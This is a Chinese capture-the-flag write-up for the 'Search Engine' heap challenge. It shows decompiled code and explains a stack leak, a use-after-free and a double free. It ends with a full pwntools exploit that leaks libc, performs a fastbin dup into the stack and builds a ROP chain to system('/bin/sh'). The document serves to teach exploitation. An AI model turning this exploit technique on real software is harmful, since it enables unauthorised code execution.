Search Engine
Ever wanted to search through real life? Well this won't help, but it will let you search strings.
Find it at search-engine-qgidg858.9447.plumbing port 9447.
search bf61fbb8fa7212c814b2607a81a84adf
(题目配置没给libc版本,这里使用的是libc2.23)(PS:之后翻了一下附带的题解,当时应该用的是libc2.19,但是区别不大)
checksec如下:
(本题无符号信息,接下来的符号均为ida反编译之后重新标记)
main函数如下:
__int64 __fastcall main(int a1, char **a2, char **a3) { setvbuf(stdout, 0LL, 2, 0LL); work(); return 0LL; }
work函数如下:
__int64 work() { __int64 result; // rax head = 0LL; while ( 1 ) { while ( 1 ) { menu(); result = get_l(); if ( (_DWORD)result != 1 ) break; search_with_a_word(); } if ( (_DWORD)result != 2 ) break; index_a_sentence(); } if ( (_DWORD)result != 3 ) die("Invalid option"); return result; }
menu函数如下:
int menu() { puts("1: Search with a word"); puts("2: Index a sentence"); return puts("3: Quit"); }
get_l函数如下:
__int64 get_l() { __int64 result; // rax char *endptr; // [rsp+8h] [rbp-50h] BYREF char nptr[56]; // [rsp+10h] [rbp-48h] BYREF unsigned __int64 v3; // [rsp+48h] [rbp-10h] v3 = __readfsqword(0x28u); get_by_char((__int64)nptr, 48, 1); result = strtol(nptr, &endptr, 0); if ( endptr == nptr ) { __printf_chk(1LL, "%s is not a valid number\n", nptr); result = get_l(); } return result; }
get_by_char函数如下:
void __fastcall get_by_char(__int64 dist, int num, int break_at_enter) { int v4; // ebx _BYTE *v5; // rbp int v6; // eax if ( num <= 0 ) { v4 = 0; } else { v4 = 0; while ( 1 ) { v5 = (_BYTE *)(dist + v4); v6 = fread(v5, 1uLL, 1uLL, stdin); if ( v6 <= 0 ) break; if ( *v5 == '\n' && break_at_enter ) { if ( v4 ) { *v5 = 0; return; } v4 = v6 - 1; if ( num <= v6 - 1 ) break; } else { v4 += v6; if ( num <= v4 ) break; } } } if ( v4 != num ) die("Not enough data"); }
break_at_enter不为0时读取到回车时会去掉回车并终止读入
search_with_a_word函数如下:
void search_with_a_word() { int v0; // ebp void *v1; // r12 word *v2; // rbx char v3[56]; // [rsp+0h] [rbp-38h] BYREF puts("Enter the word size:"); v0 = get_l(); if ( (unsigned int)(v0 - 1) > 65533 ) die("Invalid size"); puts("Enter the word:"); v1 = malloc(v0); get_by_char((__int64)v1, v0, 0); v2 = (word *)head; if ( head ) { do { if ( *v2->sentence_start ) { if ( v2->word_len == v0 && !memcmp(v2->word_start, v1, v0) ) { __printf_chk(1LL, "Found %d: ", (unsigned int)v2->sentence_len); fwrite(v2->sentence_start, 1uLL, v2->sentence_len, stdout); putchar('\n'); puts("Delete this sentence (y/n)?"); get_by_char((__int64)v3, 2, 1); if ( v3[0] == 'y' ) { memset(v2->sentence_start, 0, v2->sentence_len); free(v2->sentence_start); puts("Deleted!"); } } } v2 = v2->next; } while ( v2 ); } free(v1); }
index_a_sentence函数如下:
int sub_400C00() { int v0; // eax __int64 v1; // rbp int v2; // er13 char *v3; // r12 char *v4; // rbx __int64 v5; // rbp word *v6; // rax int v7; // edx __int64 v8; // rdx __int64 v10; // rdx puts("Enter the sentence size:"); v0 = get_l(); v1 = (unsigned int)(v0 - 1); v2 = v0; if ( (unsigned int)v1 > 65533 ) die("Invalid size"); puts("Enter the sentence:"); v3 = (char *)malloc(v2); get_by_char((__int64)v3, v2, 0); v4 = v3 + 1; v5 = (__int64)&v3[v1 + 2]; v6 = (word *)malloc(0x28uLL); v7 = 0; v6->word_start = v3; v6->word_len = 0; v6->sentence_start = v3; v6->sentence_len = v2; do { while ( *(v4 - 1) != ' ' ) { v6->word_len = ++v7; LABEL_4: if ( ++v4 == (char *)v5 ) goto LABEL_8; } if ( v7 ) { v10 = head; head = (__int64)v6; v6->next = (struct word *)v10; v6 = (word *)malloc(0x28uLL); v7 = 0; v6->word_start = v4; v6->word_len = 0; v6->sentence_start = v3; v6->sentence_len = v2; goto LABEL_4; } v6->word_start = v4++; } while ( v4 != (char *)v5 ); LABEL_8: if ( v7 ) { v8 = head; head = (__int64)v6; v6->next = (struct word *)v8; } else { free(v6); } return puts("Added sentence"); }
可以看出程序的作用是读入一个句子之后,会把句子按照空格来拆分出单词,然后允许搜索单词并且允许删除单词所在的句子
存储方式是以word结构体形成了一个链表,word结构体内部依次是指向单词头位置的指针,单词长度,指向所在句子头位置的指针,句子长度,链表下一个word结构体的指针
程序有几处漏洞
第一处在get_l里面,它会判断输入是否有效,如果输入不以数字开头则会报错,但是问题是它是调用的get_by_char进行读入,而get_by_char要是读满了的话,读到的字符串是不以'\0'结尾的,这样可能会通过printf_chk泄露栈地址信息,但是第一次输入错误无信息返回(因为此时刚好之后的内存是'\x00')
输入失败之后会递归调用get_l,发现连续两次读入错误,在第二次时会泄露一个栈地址
第二处是search_with_a_word内
句子删除后,free句子所在的trunk后有一个UAF
并且按照ptmalloc2的原理,在free的trunk内可能存有地址数据,因此判断句子所对应的地址是否非空不一定有用,存在着double free,并且能打印地址信息
因此可以通过unsorted bin泄露libc地址,同时通过fastbin attack可以选择main函数的返回地址之前的一处进行任意写,覆盖掉返回地址,构造rop链,拿到shell
exp如下:
from pwn import * elf = ELF('./search') libc = elf.libc io = process('./search') #io = gdb.debug('./search', 'b *0x400d30') #泄露栈地址 io.recvuntil('Quit\n') io.sendline('a'*48) io.recvuntil('number\n') io.sendline('a'*48) io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') stack_addr = u64(io.recv(6).ljust(8, b'\x00')) info('stack_addr: 0x%x', stack_addr) #泄露libc基地址 io.recvuntil('number\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('128') io.recvuntil('sentence:\n') io.sendline('a'*126+' a') io.recvuntil('Quit\n') io.sendline('1') io.recvuntil('size:\n') io.sendline('1') io.recvuntil('word:\n') io.sendline('a') io.recvuntil('(y/n)?\n') io.sendline('y') io.recvuntil('Quit\n') io.sendline('1') io.recvuntil('size:\n') io.sendline('1') io.recvuntil('word:\n') io.sendline(b'\x00') io.recvuntil('Found 128: ') main_arena88 = u64(io.recv(6).ljust(8, b'\x00')) io.recvuntil('(y/n)?\n') io.sendline('n') libc_base = main_arena88 - 0x3c4b78 info('main_arena88: 0x%x', main_arena88) info('libc: 0x%x', libc_base) #double-free io.recvuntil('Quit\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('48') io.recvuntil('sentence:\n') io.sendline('a'*45+' aa') io.recvuntil('Quit\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('48') io.recvuntil('sentence:\n') io.sendline('a'*44+' aaa') io.recvuntil('Quit\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('48') io.recvuntil('sentence:\n') io.sendline('a'*43+' aaaa') io.recvuntil('Quit\n') io.sendline('1') io.recvuntil('size:\n') io.sendline('2') io.recvuntil('word:\n') io.sendline('aa') io.recvuntil('(y/n)?\n') io.sendline('y') io.recvuntil('Quit\n') io.sendline('1') io.recvuntil('size:\n') io.sendline('3') io.recvuntil('word:\n') io.sendline('aaa') io.recvuntil('(y/n)?\n') io.sendline('y') io.recvuntil('Quit\n') io.sendline('1') io.recvuntil('size:\n') io.sendline('4') io.recvuntil('word:\n') io.sendline('aaaa') io.recvuntil('(y/n)?\n') io.sendline('y') io.recvuntil('Quit\n') io.sendline('1') io.recvuntil('size:\n') io.sendline('3') io.recvuntil('word:\n') io.sendline(b'\x00'*3) io.recvuntil('(y/n)?\n') io.sendline('y') pop_rdi = 0x400e23 system_addr = libc.symbols['system'] + libc_base binsh_addr = next(libc.search(b'/bin/sh')) + libc_base #fastbin_dup_into_stack + rop io.recvuntil('Quit\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('48') io.recvuntil('sentence:\n') magic_addr = stack_addr + 0x52 io.sendline(p64(magic_addr).ljust(48, b'\x00')) io.recvuntil('Quit\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('48') io.recvuntil('sentence:\n') io.sendline('a'*48) io.recvuntil('Quit\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('48') io.recvuntil('sentence:\n') io.sendline('a'*48) io.recvuntil('Quit\n') io.sendline('2') io.recvuntil('size:\n') io.sendline('48') io.recvuntil('sentence:\n') io.sendline((b'a' * 6 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)).ljust(48, b'\x90')) io.recvuntil('Quit\n') io.sendline('3') io.interactive()